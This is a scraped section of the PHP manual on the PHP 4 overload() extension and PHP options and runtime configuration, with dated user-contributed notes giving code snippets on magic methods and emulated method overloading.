There are no user contributed notes for this page.
output_add_rewrite_var
Object overloading
Output Control Functions


Object property and method call overloading

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic usage
  • Object overloading Functions
    • overload — Enable property and method call overloading for a class

User Contributed Notes

There are no user contributed notes for this page.
output_reset_rewrite_vars
Introduction
Affecting PHP's Behaviour


Introduction

The purpose of this extension is to allow overloading of object property access and method calls. Only one function is defined in this extension, overload() which takes the name of the class that should have this functionality enabled. The class named has to define appropriate methods if it wants to have this functionality: __get(), __set() and __call() respectively for getting/setting a property, or calling a method. This way overloading can be selective. Inside these handler functions the overloading is disabled so you can access object properties normally.

Warning

This extension is EXPERIMENTAL. The behaviour of this extension including the names of its functions and any other documentation surrounding this extension may change without notice in a future release of PHP. This extension should be used at your own risk.

Warning

This extension is not a part of PHP 5. PHP 5 supports __get(), __set() and __call() natively. See the Overloading in PHP 5 page for more information.

User Contributed Notes

There are no user contributed notes for this page.
Object overloading
Installing/Configuring
Object overloading


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Object overloading


Installation

In order to use these functions, you must compile PHP with the --enable-overload option. Starting with PHP 4.3.0 this extension is enabled by default. You can disable overload support with --disable--overload .

The Windows version of PHP has built-in support for this extension. You do not need to load any additional extensions in order to use these functions.

Note: Builtin support for overload is available with PHP 4.3.0.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
Object overloading


Examples

Table of Contents

  • Basic usage

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Basic usage
Object overloading


Basic usage

Some simple examples on using the overload() function:

Example #1 Overloading a PHP class

<?php

class OO {
   var $a = 111;
   var $elem = array('b' => 9, 'c' => 42);

   // Callback method for getting a property
   function __get($prop_name, &$prop_value)
   {
       if (isset($this->elem[$prop_name])) {
           $prop_value = $this->elem[$prop_name];
           return true;
       } else {
           return false;
       }
   }

   // Callback method for setting a property
   function __set($prop_name, $prop_value)
   {
       $this->elem[$prop_name] = $prop_value;
       return true;
   }
}

// Here we overload the OO object
overload('OO');

$o = new OO;
echo "\$o->a: $o->a\n"; // print: $o->a: 111
echo "\$o->b: $o->b\n"; // print: $o->b: 9
echo "\$o->c: $o->c\n"; // print: $o->c: 42
echo "\$o->d: $o->d\n"; // print: $o->d:

// add a new item to the $elem array in OO
$o->x = 56;

// instantiate stdclass (it is built-in PHP 4)
// $val is not overloaded!
$val = new stdclass;
$val->prop = 555;

// Set "a" to be an array with the $val object in it
// But __set() will put this in the $elem array
$o->a = array($val);
var_dump($o->a[0]->prop);

?>

User Contributed Notes

Anonymous 26-Jun-2011 01:20
The result for

<?php
class Foo{
    public function method(){
        echo "call Method no paramater";
    }
    public function method($par){
        echo "call Method has a paramater";
    }
}
$foo = new Foo();
echo $foo->method("param");]
?>

can be achieved by

<?php
class Foo{
    public function method($par = null){
        echo "call Method no paramater";
    }
}
$foo = new Foo();
echo $foo->method("param");]
?>

Php will give access to both $foo->method() and $foo->method("param")
author at dereleased dot com 21-Dec-2009 12:30
While the term "overloading" in many other languages specifically means declaring multiple methods with the same name and having the compiler intelligently select which one should be run at any given time, this (as some have pointed out) is not the case in PHP, for a very simple yet important reason:

PHP is a weakly/dynamically typed language; the only exceptions to this rule are constants (which have certain type restrictions, e.g. array) and Type-Hinted method arguments.  Because of this, traditional overloading style is simply not possible, as there is no way for the interpreter to know which method to call (reliably).

However, with PHP's ability to accept an indefinite number of undefined arguments via func_get_args() and related functions, as well as simply provide defaults to values to allow you to declare just one method and perform simple tests to see if some/all of the arguments were indeed passed, traditional means of method overloading are not entirely necessary.

It may not be what you're used to, but it works.
scurvysquid at yahoo dot com 03-Jun-2009 07:43
Overloading is defining a method multiple times with different input parameters, then conditionally running whichever method matches the provided input.
It looks like the "overload" function just enables magic methods for a class, which can be used in implementing an extremely janky simulation of overloading.
Also, it seems that magic methods are enabled by default in php5 regardless of whether the overload function has been run on a class.
Anonymous 26-Mar-2009 11:48
You can't redeclare because PHP won't know which one to use. Use a default value and test conditionally instead such as

<?php
public function method($arg=false){
     if($arg==false){
         //do something
     } else {
         //do something else
     }
}
?>
ly dot sitthykun at yahoo dot com 21-Jan-2009 09:47
<?php
class Foo{
    public function method(){
        echo "call Method no paramater";
    }
    public function method($par){
        echo "call Method has a paramater";
    }

}

$foo = new Foo();

echo $foo->method("param");]

?>

#output:
Fatal error: Cannot redeclare Foo::method() in class_overload.php on line 6

why?
we can not create the same method name.
Examples
Object overloading Functions
Examples


Object overloading Functions

Table of Contents

  • overload — Enable property and method call overloading for a class

User Contributed Notes

none at example dot com 01-Oct-2007 03:42
I am coding a server with a lot of method. To avoid doing a $this->check_auth() call (and others similar processing) in _each_ on my method, I was looking for a way to wrap them all through a dispatch.
Combining _call, with call_user_func_array is the way I did it finally.
So basically, if you want to call "testFunc" you just call $class->test () and
it will be wrapped and testFunc will be executed.

<?php

class MytestClass
{
    function __call($method, $param)
        {
            // do anything here
            return (call_user_func_array (array ("MytestClass", $method."Func"), $param));
        }

    function testFunc($param, $arg)
        {
            echo "It works ! Param: $param, ARG=$arg\n";
            return true;
        }
}

$test = new MytestClass;
$test->test ("Cool", "Test");

?>
kris - Heehaw 02-Nov-2006 09:07
Simple way to restrict class property access (read and/or write) and range checking on setting, custom get also.

<?php
final class test {
    protected $x;
    protected $y;
    protected $z;
    private $publicRead = Array(
                            'x'=>"",
                            'y'=>"",
                            'z'=>"getZ"
                            );
    private $publicWrite = Array(
                            'x'=>"setX",
                            'y'=>"setY"
                            );
    final public function test(){
        $this->x = 0;
        $this->y = 0;
        $this->z = 100;
        return $this;
    }

    final public function setX($val){
        //allow only 1 - 10
        if ($val > 0 && $val < 11){
            $this->x = $val;
        } else {
            echo "Cannot set X to $val, valid range is 1-10\n<br />";
        }
    }

    final public function setY($val){
        //allow only 11 - 20
        if ($val > 10 && $val < 21){
            $this->y = $val;
        } else {
            echo "Cannot set Y to $val, valid range is 11-20\n<br />";
        }
    }

    final public function getZ(){
        return ($this->z*2)." (x2) ";
    }

    final private function __get($nm)
    {
        if (array_key_exists($nm, $this->publicRead)){
            $method = $this->publicRead[$nm];
            if ($method != ""){//if we have a custom get method use it
                return $this->$method();
            } else { //else return the value directly
                return $this->$nm;
            }
        } else {
            echo "Cannot get protected property ".get_class($this)."::$nm\n<br />";
            return null;
        }
    }

    final private function __set($nm, $val)
    {
        if (array_key_exists($nm, $this->publicWrite)){
            $method = $this->publicWrite[$nm];
            $this->$method($val);
        } else {
            echo "Cannot set protected property ".get_class($this)."::$nm\n<br />";
        }
    }
}

$t = new test;
    $t->x = 1;
    $t->y = 113;
    $t->z = 1001;

echo "<br /><br />";
echo "X:".$t->x."<br />";
echo "Y:".$t->y."<br />";
echo "Z:".$t->z."<br />";
?>
daniel at softel dot jp 24-Feb-2006 09:13
Note that with this class:
<?php
class SillyClass
{
    private $config = array();

        public function __construct()
    {
        $this->config['fruit'] = 'banana';
                $this->config['animal'] = 'monkey';
        $this->config['shoppingList'] =
               array('drink' => 'milk', 'food' => 'cheeseburger');
    }

       //Allow mySillyClass->someProperty style getting of
    //anything that might happen to be in the $config array
    //(returns NULL if not in the $config array).
    public function __get($property)
    {
        if(isset($this->config->$property))
        {
            return $this->config->$property;
        }
    }
}
?>

The following code can not be used:
<?php
$mySillyClass = new SillyClass();
$drinkToBuy = $mySillyClass->shoppingList->drink;
?>

It seems that although there is no error, $mySillyClass->someProperty->someProperty
does *not* work (__get() is only called once).
It's not really a bug, and I'm sure PHP is behaving properly but it had me stumped for a while!
dreamscape 29-Jun-2005 01:12
I didn't see this posted anywhere, so here it is:

In PHP 4, if you are calling your overloaded class A from inside class B, you MUST include and overload class A before including class B.

I struggled with this one for some time, before attempting to change the include order of the classes, which then worked great.
Shores 03-Feb-2005 10:11
One way to overcome the foreach overloading malfunction:

//non functioning:
foreach ($object->arrayProperty as $key => $value) { ... }

//functioning:
foreach (array_merge($object->arrayProperty) as $key => $value) { ... }

Bye!
evert at rooftopsolutions dot nl 16-Jan-2005 09:46
I use the overloader to perform a method-level permission check for objects

<?

class MyClass {

  function method1() {

   // .... //

  }

  function method2() {

  // .... //

  }

}

class ObjectProtector {

    var $obj;

    function ObjectProtector(&$object) {

       $this->obj =& $object;

    }

    function __call($m,$a,&$r) {

       if (myPermissionChecker(...)) {
         $r = call_user_func_array(array($this->obj,$m),$a);
         return true;
       } else return false;

    }

}

overload('ObjectProtector');

// Create your object
$myObj = new MyClass;

// Prodect your object
$myProtectedObj = new ObjectProtector($myObj);

//call your methods trough $myProtectedObj

$myProtectedObj->method1();
$myProtectedObj->method2('arguments');

?>

I'm not sure this is bad practice, but the engine allows it and it seems right.
koert at idislikespam dot bitfactory dot nl 29-Sep-2004 07:36
Do not implement __call() if you need pass-by-reference of return-by-reference elswhere in your class.
For more information view php bug #25831. Unfortunately this bug is marked wont-fix.
almethot at yahoo dot com 22-May-2004 12:33
Here is a cleaner way to fake overloading which is a modification on fabiostt[X_AT_X]libero[X_DOT_X]it
12-Aug-2003 01:56 posting. This example allows you to reuse the object and not have to re-create the object everytime the variables need to change.

Hope this helps,

<?
Class NCSession
{
//Class Variables

    Var $sessionResult = null;

    // Sims Overloading in PHP - Yes it is crap but it works until you move to PHP 5.
    function ncStartSession()
    {
        $numArgs = func_num_args() ; //number of args
        $args = func_get_args() ;  //array containing args
        $x = call_user_func_array( array( &$this, 'ncStartSession'.$numArgs),  $args) ;
        $sessionResult = $x;
        return $sessionResult;
    }

    function ncStartSession0()
    {
        session_start();
        $sessionResult = "SUCCESS|YES|SESSIONID|" . session_id();
        session_destroy();
        return $sessionResult;
    }

    function ncStartSession1($arg)
    {
        session_start($arg);
        $sessionResult = "SUCCESS|YES|SESSIONID|" . session_id();
        session_destroy();
        return $sessionResult;
        }
}
//End of Class

$myTestSession = NEW NCSession();

$myResult = $myTestSession->ncStartSession();
echo "\n\$myResult = $myResult\n";

?>
Metal 14-Mar-2004 11:11
Overload and Inheritance.

After wasting a few hours trying to get it to work, it seems appropriate to put a warning here.

Short Version:

DON'T ever subclass an overloaded class. EVER.

Corollary:
If an overloaded class simply must be subclassed, rewrite the parent class to get rid of the overloading. It can be as simple as commenting out the overload() statement and calling the get/set/call methods explicitely.
This was the road I ended up taking.

Long Version:

While it is, in theory, possible to end up with a working subclass, it requires much mucking and OO-principles compromise.
There is a great post that details the problem at great length. For those with the stomach, the URL is:
http://www.zend.com/lists/engine2/200201/msg00140.html

If you're still thinking about mixing inheritance and overloading, at least read the "Best Practices for the overload functions" in the URL above. If that doesn't change your mind, at least you'll be able to avoid most of the pitfalls.
josh at uncommonprojects dot com 27-Feb-2004 06:45
One thing about __get is that if you return an array it doesn't work directly within a foreach...

<?php
class Foo {
  function __get($prop,&$ret) {
    $ret = array(1,2,3);
    return true;
  }
}
overload ('Foo');

//works
$foo = new Foo;
$bar = $foo->bar;
foreach($bar as $n) {
  echo "$n \n";
}

//doesn't work (bad argument to foreach)
foreach($foo->bar as $n) {
  echo "$n \n";
}
?>

for loops also work fine..
upphpdoc at upcd dot de 25-Feb-2004 12:58
While this is a nice Feature it has nothing to do with Overloading as it is known in other OO-Languages.

What this feature does is allowing the dynamic addition of instance variables as e.g in Python.

Overloading means defining several methods with the same name in a single class. Which method will be called depends on the number and type of arguments specified. With dynamic and weak typed languages (like PHP) this can  of course not work.
jw at jwscripts dot com 14-Feb-2004 11:10
The following backwards compatible code demonstrates the differences between the PHP version 4 and 5 implementation of overloading:

<?

class Foo {
    // The properties array
    var $array = array('a' => 1, 'b' => 2, 'c' => 4);

    // Getter
    function __get($n, $val = "") {
        if (phpversion() >= 5) {
            return $this->array[$n];
        } else {
            $val = $this->array[$n];
            return true;
        }
    }

    // Setter
    function __set($n, $val) {
        $this->array[$n] = $val;
        if (phpversion() < 5) return true;
    }

    // Caller, applied when $function isn't defined
    function __call($function, $arguments) {
        // Constructor called in PHP version < 5
        if ($function != __CLASS__) {
            $this->$arguments[0] = $arguments[1];
        }
        if (phpversion() < 5) return true;
    }
}

// Call the overload() function when appropriate
if (function_exists("overload") && phpversion() < 5) {
    overload("Foo");
}

// Create the object instance
$foo = new Foo;

// Adjust the value of $foo->array['c'] through
// method overloading
$foo->set_array('c', 3);

// Adjust the value of $foo->array['c'] through
// property overloading
$foo->c = 3;

// Print the new correct value of $foo->array['c']
echo 'The value of $foo->array["c"] is: ', $foo->c;

?>
sdavey at datalink dot net dot au 23-Jan-2004 01:45
It wasn't quite clear, but I found out that __get() and __set() only overload attributes that _don't_ exist.

For example:
<?
class Foo
{
    var $a = "normal attribute";

    function __get($key, &$ret)
    {
        $ret = "overloaded return value";
        return true;
    }
}
overload("Foo");

$foo = new Foo();
print "get a: $foo->a \n";        // prints:   get a: normal attribute
print "get b: $foo->b \n";        // prints:   get b: overloaded return value
?>

The important thing to note here is that $foo->a did not pass through __get(), because the attibute has been defined.

So it's more like "underloading" than "overloading", as it only virtualises attributes that _do not_ exist.
John Martin 09-Dec-2003 02:47
I've found a work around that allows overload to work with nested classes.  I was trying to design a set of classes that I didn't need to define the setter/getter methods for each of the properties.

I stayed away from the __get() and __set() function since this bypasses object encapsulation.  Instead I use the __call() method to implement the accessor functions.  The __call() function emulates the get{var name} and stores the variable into an internal array with in the class.  The get{var name} checks the array for the var name and returns it if found.

Using the Zend Dev Studio (Great Product!) I was able to debug the code and found that when overloaded objects are nested that the nested object somehow looses the array var.  Just for giggles, I added a second variable and assigned the array var by reference.  Some how this worked.

class Base {
   var $_prop = array();
   var $_fix;

   function Base() {
      // This somehow fixes the problem with nested overloading
      $this->_fix = & $this->_prop;
   }
}
admin (hat) solidox (dawt) org 25-Aug-2003 08:51
there are a couple of things you should be aware of when using overloading.

<?
    class cTest
    {
        function __get($key, &$value)
        {
            echo "get: $key<br />";
            return true;
        }
        function __set($key, $value)
        {
            echo "set: $key value: $value<br />";
            return true;
        }
        function __call($method, $params, &$return)
        {
            echo "call: $method params: " . var_export($params, 1) . "<br />";
            return true;
        }
    }
overload('cTest');
$cake = new cTest;
?>

firstly it should be noted that nested classes don't work.
secondly if you try to set an array it somehow becomes a get
and thirdly, if you call a nested class it picks the last nest as the method name, as opposed to a nested get which picks the first in the list.
<?
$x = $cake->hello->moto; //outputs "get: hello" moto is nowhere to be seen

$cake->hello['moto'] = 4; //outputs "get: hello"

$cake->moo->cow("hello"); //outputs "call: cow params: array ( 0 => 'hello', )"
?>
bit strange, these occur on php4.3.2. havn't tried other versions
Justin B 13-Aug-2003 03:16
Some useful things to know about overloading:
__call($m,$p,&$r) returns $r back to you, not whatever you put after the keyword return.  What you return determines whether or not the parser consideres the function defined.
__get($var,&$val) returns $val back to you, so fill up $val with what you want then return true or false, same as above.

when extending classes, you must overload the most extended level class for it to work:

class TestClass
{
    var $x = "x";
    var $y = "y";
    var $z = "z";
    function __call($method,$params,&$return)
    {
        $return = "Hello, you called $method with ".var_export($params,true)."<br>\n";
        return true;
    }
    function __get($var,&$val)
    {
        if($var == "l") { $val = $this->x; return true; }
        return false;
    }
}
overload('TestClass');

$test = new TestClass;
print $test->hello();
print $test->goodbye();
print $test->x;
print $test->l;
print $test->n;

class Test2 extends TestClass
{
}

$test2 = new Test2;
print $test2->hello();

/* output:
Hello, you called hello with array()
Hello, you called goodbye with array()
xx

Fatal Error: Call to undefined function hello() in ...
*/
fabiostt[X_AT_X]libero[X_DOT_X]it 12-Aug-2003 01:56
This extension has not much to do with overloading as we know it in Java or C++

We can sort of mimic overloading using call_user_func_array()

<?php

class OverloadTest{

    var $message ;

    function OverloadTest(){

        $numArgs = func_num_args() ; //number of args

        $args = func_get_args() ;  //array containing args

        call_user_func_array( array( &$this, 'OverloadTest'.$numArgs),  $args) ;

    }

    function overloadTest0(){

       $this->message = 'There are no args' ;

    }

    function overloadTest1($arg){

       $this->message = 'There\'s just one arg, its value is '.$arg ;

    }

        function overloadTest2($arg1, $arg2){

       $this->message = 'There are 2 args, their values are '.join( func_get_args(), ', ') ;

    }

        function getMessage(){

            return($this->message) ;

        }

}//end class

$x = new OverloadTest('fooA', 'fooB') ;

echo( $x->getMessage() ) ;

?>
steve at walkereffects dot com 24-Feb-2003 10:32
If you are a perfectionist when it comes to your class interfaces, and you are unable to use overload(), there is another viable solution:

Use func_num_args() to determine how many arguments were sent to the function in order to create virtual polymorphism. You can create different scenarios by making logical assumptions about the parameters sent. From the outside the interface works just like an overloaded function.

The following shows an example of overloading a class constructor:

class Name
{
      var $FirstName;
      var $LastName;

      function Name($first, $last)
      {
            $numargs = func_num_args();

            if($numargs >= 2)
            {
                  $this->FirstName = $first;
                  $this->LastName = $last;
            }
            else
            {
                  $names = explode($first);
                  $this->FirstName = $names[0];
                  $this->LastName = $names[1]
            }
      }

}
Basic usage
overload
Object overloading


Enable property and method call overloading for a class

Object overloading Functions
PHP Options/Info
Object overloading Functions
PHP Manual

overload

(PHP 4 >= 4.3.0)

overload — Enable property and method call overloading for a class

Description

void overload ( string $class_name )

The overload() function will enable property and method call overloading for a class identified by class_name.

Parameters

class_name

The overloaded class name, as a string

Return Values

No value is returned.

Examples

See an example in the introductory section of this part.

User Contributed Notes

osminosm at gmail dot com 22-Jan-2009 07:22
creating two methods with the same name won't work for sure (maybe in next versions i hope)
but for now all i could come up with something that looks like overloaded functions from the outside but still makes it a bit difficult for the one who's coding the actual class
as we can see in the code bellow i've used a default value for the $name argument, so when the Test() method is called with no arguments the $name argument is by default passed as NULL (or any value you wanna pass)
<?php

class Test
  {
  function Test($name=NULL)
    {
    echo 'Hello, ';
    if($name)
      {
      echo $name.'<br>';
      }
    else
      {
      echo 'stranger<br>';
      }
    }
  }

$t1=new Test();                            // Output : Hello, stranger
$t2=new Test('Osman Kalache');     // Output : Hello, Osman Kalache

?>

the bad side of this trick is that you have to test your arguments (imagine how many IFs and ELSEs you get if you had just 5 arguments)
but still makes your classes easy to use.
Object overloading Functions
PHP Options/Info
Object overloading Functions


PHP Options and Information

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • PHP Options/Info Functions
    • assert_options — Set/get the various assert flags
    • assert — Checks if assertion is FALSE
    • dl — Loads a PHP extension at runtime
    • extension_loaded — Find out whether an extension is loaded
    • gc_collect_cycles — Forces collection of any existing garbage cycles
    • gc_disable — Deactivates the circular reference collector
    • gc_enable — Activates the circular reference collector
    • gc_enabled — Returns status of the circular reference collector
    • get_cfg_var — Gets the value of a PHP configuration option
    • get_current_user — Gets the name of the owner of the current PHP script
    • get_defined_constants — Returns an associative array with the names of all the constants and their values
    • get_extension_funcs — Returns an array with the names of the functions of a module
    • get_include_path — Gets the current include_path configuration option
    • get_included_files — Returns an array with the names of included or required files
    • get_loaded_extensions — Returns an array with the names of all modules compiled and loaded
    • get_magic_quotes_gpc — Gets the current configuration setting of magic_quotes_gpc
    • get_magic_quotes_runtime — Gets the current active configuration setting of magic_quotes_runtime
    • get_required_files — Alias of get_included_files
    • getenv — Gets the value of an environment variable
    • getlastmod — Gets time of last page modification
    • getmygid — Get PHP script owner's GID
    • getmyinode — Gets the inode of the current script
    • getmypid — Gets PHP's process ID
    • getmyuid — Gets PHP script owner's UID
    • getopt — Gets options from the command line argument list
    • getrusage — Gets the current resource usages
    • ini_alter — Alias of ini_set
    • ini_get_all — Gets all configuration options
    • ini_get — Gets the value of a configuration option
    • ini_restore — Restores the value of a configuration option
    • ini_set — Sets the value of a configuration option
    • magic_quotes_runtime — Alias of set_magic_quotes_runtime
    • main — Dummy for main
    • memory_get_peak_usage — Returns the peak of memory allocated by PHP
    • memory_get_usage — Returns the amount of memory allocated to PHP
    • php_ini_loaded_file — Retrieve a path to the loaded php.ini file
    • php_ini_scanned_files — Return a list of .ini files parsed from the additional ini dir
    • php_logo_guid — Gets the logo guid
    • php_sapi_name — Returns the type of interface between web server and PHP
    • php_uname — Returns information about the operating system PHP is running on
    • phpcredits — Prints out the credits for PHP
    • phpinfo — Outputs information about PHP's configuration
    • phpversion — Gets the current PHP version
    • putenv — Sets the value of an environment variable
    • restore_include_path — Restores the value of the include_path configuration option
    • set_include_path — Sets the include_path configuration option
    • set_magic_quotes_runtime — Sets the current active configuration setting of magic_quotes_runtime
    • set_time_limit — Limits the maximum execution time
    • sys_get_temp_dir — Returns directory path used for temporary files
    • version_compare — Compares two "PHP-standardized" version number strings
    • zend_logo_guid — Gets the Zend guid
    • zend_thread_id — Returns a unique identifier for the current thread
    • zend_version — Gets the version of the current Zend engine

User Contributed Notes

There are no user contributed notes for this page.
overload
Introduction
Affecting PHP's Behaviour


Introduction

This functions enable you to get a lot of information about PHP itself, e.g. runtime configuration, loaded extensions, version and much more. You'll also find functions to set options for your running PHP. The probably best known function of PHP - phpinfo() - can be found here.

User Contributed Notes

There are no user contributed notes for this page.
PHP Options/Info
Installing/Configuring
PHP Options/Info


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
PHP Options/Info


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

PHP Options/Inf Configuration Options
Name | Default | Changeable | Changelog
assert.active | "1" | PHP_INI_ALL |
assert.bail | "0" | PHP_INI_ALL |
assert.warning | "1" | PHP_INI_ALL |
assert.callback | NULL | PHP_INI_ALL |
assert.quiet_eval | "0" | PHP_INI_ALL |
enable_dl | "1" | PHP_INI_SYSTEM | This deprecated feature will certainly be removed in the future.
max_execution_time | "30" | PHP_INI_ALL |
max_input_time | "-1" | PHP_INI_PERDIR | Available since PHP 4.3.0.
max_input_nesting_level | "64" | PHP_INI_PERDIR | Available since PHP 4.4.8 and PHP 5.2.3.
max_input_vars | 1000 | PHP_INI_PERDIR | Available since PHP 5.3.9.
magic_quotes_gpc | "1" | PHP_INI_PERDIR | PHP_INI_ALL in PHP <= 4.2.3. This deprecated feature will certainly be removed in the future.
magic_quotes_runtime | "0" | PHP_INI_ALL | This deprecated feature will certainly be removed in the future.
zend.enable_gc | "1" | PHP_INI_ALL | Available since PHP 5.3.0.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

assert.active boolean

Enable assert() evaluation.

assert.bail boolean

Terminate script execution on failed assertions.

assert.warning boolean

Issue a PHP warning for each failed assertion.

assert.callback string

user function to call on failed assertions

assert.quiet_eval boolean

Use the current setting of error_reporting() during assertion expression evaluation. If enabled, no errors are shown (implicit error_reporting(0)) while evaluation. If disabled, errors are shown according to the settings of error_reporting()

enable_dl boolean

This directive is really only useful in the Apache module version of PHP. You can turn dynamic loading of PHP extensions with dl() on and off per virtual server or per directory.

The main reason for turning dynamic loading off is security. With dynamic loading, it's possible to ignore all open_basedir restrictions. The default is to allow dynamic loading, except when using safe mode. In safe mode, it's always impossible to use dl().

max_execution_time integer

This sets the maximum time in seconds a script is allowed to run before it is terminated by the parser. This helps prevent poorly written scripts from tying up the server. The default setting is 30. When running PHP from the command line the default setting is 0.

The maximum execution time is not affected by system calls, stream operations etc. Please see the set_time_limit() function for more details.

You can not change this setting with ini_set() when running in safe mode. The only workaround is to turn off safe mode or by changing the time limit in the php.ini.

Your web server can have other timeout configurations that may also interrupt PHP execution. Apache has a Timeout directive and IIS has a CGI timeout function. Both default to 300 seconds. See your web server documentation for specific details.

max_input_time integer

This sets the maximum time in seconds a script is allowed to parse input data, like POST and GET. It is measured from the moment of receiving all data on the server to the start of script execution.

max_input_nesting_level integer

Sets the max nesting depth of input variables (i.e. $_GET, $_POST..)

max_input_vars integer

How many input variables may be accepted. Use of this directive mitigates the possibility of denial of service attacks which use hash collisions. If there are more input variables than specified by this directive, an E_WARNING is issued, and further input variables are truncated from the request. This limit applies only to each nesting level of a multi-dimensional input array.

magic_quotes_gpc boolean
Warning

This feature has been DEPRECATED as of PHP 5.3.0. Relying on this feature is highly discouraged.

Sets the magic_quotes state for GPC (Get/Post/Cookie) operations. When magic_quotes are on, all ' (single-quote), " (double quote), \ (backslash) and NUL's are escaped with a backslash automatically.

Note:

In PHP 4, also $_ENV variables are escaped.

Note:

If the magic_quotes_sybase directive is also ON it will completely override magic_quotes_gpc. Having both directives enabled means only single quotes are escaped as ''. Double quotes, backslashes and NUL's will remain untouched and unescaped.

See also get_magic_quotes_gpc()

magic_quotes_runtime boolean
Warning

This feature has been DEPRECATED as of PHP 5.3.0. Relying on this feature is highly discouraged.

If magic_quotes_runtime is enabled, most functions that return data from any sort of external source including databases and text files will have quotes escaped with a backslash. If magic_quotes_sybase is also on, a single-quote is escaped with a single-quote instead of a backslash.

Functions affected by magic_quotes_runtime (does not include functions from PECL):

  • get_meta_tags()
  • file_get_contents()
  • file()
  • fgets()
  • fwrite()
  • fread()
  • fputcsv()
  • stream_socket_recvfrom()
  • exec()
  • system()
  • passthru()
  • stream_get_contents()
  • bzread()
  • gzfile()
  • gzgets()
  • gzwrite()
  • gzread()
  • exif_read_data()
  • dba_insert()
  • dba_replace()
  • dba_fetch()
  • ibase_fetch_row()
  • ibase_fetch_assoc()
  • ibase_fetch_object()
  • mssql_fetch_row()
  • mssql_fetch_object()
  • mssql_fetch_array()
  • mssql_fetch_assoc()
  • mysqli_fetch_row()
  • mysqli_fetch_array()
  • mysqli_fetch_assoc()
  • mysqli_fetch_object()
  • pg_fetch_row()
  • pg_fetch_assoc()
  • pg_fetch_array()
  • pg_fetch_object()
  • pg_fetch_all()
  • pg_select()
  • sybase_fetch_object()
  • sybase_fetch_array()
  • sybase_fetch_assoc()
  • SplFileObject::fgets()
  • SplFileObject::fgetcsv()
  • SplFileObject::fwrite()

zend.enable_gc boolean

Enables or disables the circular reference collector.

User Contributed Notes

horst at pepperzak.com 19-May-2011 06:17
Caution: Although magic_quotes_gpc is flagged as dreprecated the default value is still "ON". So you will explicitly have to put

magic_quotes_gpc = Off

into your php.ini. Commeting out the magic_quotes_gpc-line will not turn magic_quotes_gpc off.
Installation
Resource Types
Installing/Configuring


Predefined Constants

The constants below are always available as part of the PHP core.

Pre-defined phpcredits() constants
Constant | Value | Description
CREDITS_GROUP | 1 | A list of the core developers
CREDITS_GENERAL | 2 | General credits: Language design and concept, PHP authors and SAPI module.
CREDITS_SAPI | 4 | A list of the server API modules for PHP, and their authors.
CREDITS_MODULES | 8 | A list of the extension modules for PHP, and their authors.
CREDITS_DOCS | 16 | The credits for the documentation team.
CREDITS_FULLPAGE | 32 | Usually used in combination with the other flags. Indicates that a complete stand-alone HTML page needs to be printed including the information indicated by the other flags.
CREDITS_QA | 64 | The credits for the quality assurance team.
CREDITS_ALL | -1 | All the credits, equivalent to using: CREDITS_DOCS + CREDITS_GENERAL + CREDITS_GROUP + CREDITS_MODULES + CREDITS_QA CREDITS_FULLPAGE. It generates a complete stand-alone HTML page with the appropriate tags. This is the default value.
phpinfo() constants
Constant | Value | Description
INFO_GENERAL | 1 | The configuration line, php.ini location, build date, Web Server, System and more.
INFO_CREDITS | 2 | PHP Credits. See also phpcredits().
INFO_CONFIGURATION | 4 | Current Local and Master values for PHP directives. See also ini_get().
INFO_MODULES | 8 | Loaded modules and their respective settings.
INFO_ENVIRONMENT | 16 | Environment Variable information that's also available in $_ENV.
INFO_VARIABLES | 32 | Shows all predefined variables from EGPCS (Environment, GET, POST, Cookie, Server).
INFO_LICENSE | 64 | PHP License information. See also the » license faq.
INFO_ALL | -1 | Shows all of the above. This is the default value.

Assert constants, these values are used to set the assertion options in assert_options().

assert() constants
Constant | INI Setting | Description
ASSERT_ACTIVE | assert.active | Enable assert() evaluation.
ASSERT_CALLBACK | assert.callback | Callback to call on failed assertions.
ASSERT_BAIL | assert.bail | Terminate execution on failed assertions.
ASSERT_WARNING | assert.warning | Issues a PHP warning for each failed assertion
ASSERT_QUITE_EVAL | assert.quiet_eval | Disable error_reporting during assertion expression evaluation.

The following constants are only available if the host operating system is Windows, and can tell different versioning information so its possible to detect various features and make use of them. They are all available as of PHP 5.3.0.

Windows specific constants
Constant | Description
PHP_WINDOWS_VERSION_MAJOR | The major version of Windows, this can be either 4 (NT4/Me/98/95), 5 (XP/2003 R2/2003/2000) or 6 (Vista/2008).
PHP_WINDOWS_VERSION_MINOR | The minor version of Windows, this can be either 0 (Vista/2008/2000/NT4/95), 1 (XP), 2 (2003 R2/2003/XP x64), 10 (98) or 90 (ME).
PHP_WINDOWS_VERSION_BUILD | The Windows build number (for example, Windows Vista with SP1 applied is build 6001)
PHP_WINDOWS_VERSION_PLATFORM | The platform that PHP currently is running on, this value is 2 on Windows Vista/XP/2000/NT4, Server 2008/2003 and on Windows ME/98/95 this value is 1.
PHP_WINDOWS_VERSION_SP_MAJOR | The major version of the service pack installed, this value is 0 if no service pack is installed. For example, Windows XP with service pack 3 installed will make this value 3.
PHP_WINDOWS_VERSION_SP_MINOR | The minor version of the service pack installed, this value is 0 if no service pack is installed.
PHP_WINDOWS_VERSION_SUITEMASK | The suitemask is a bitmask that can tell if various features of Windows is installed, see the table below for possible bitfield values.
PHP_WINDOWS_VERSION_PRODUCTTYPE | This contains the value used to determine the PHP_WINDOWS_NT_* constants. This value may be one of the PHP_WINDOWS_NT_* constants indicating the platform type.
PHP_WINDOWS_NT_DOMAIN_CONTROLLER | This is a domain controller
PHP_WINDOWS_NT_SERVER | This is a server system (eg. Server 2008/2003/2000), note that if this is a domain controller its reported as PHP_WINDOWS_NT_DOMAIN_CONTROLLER.
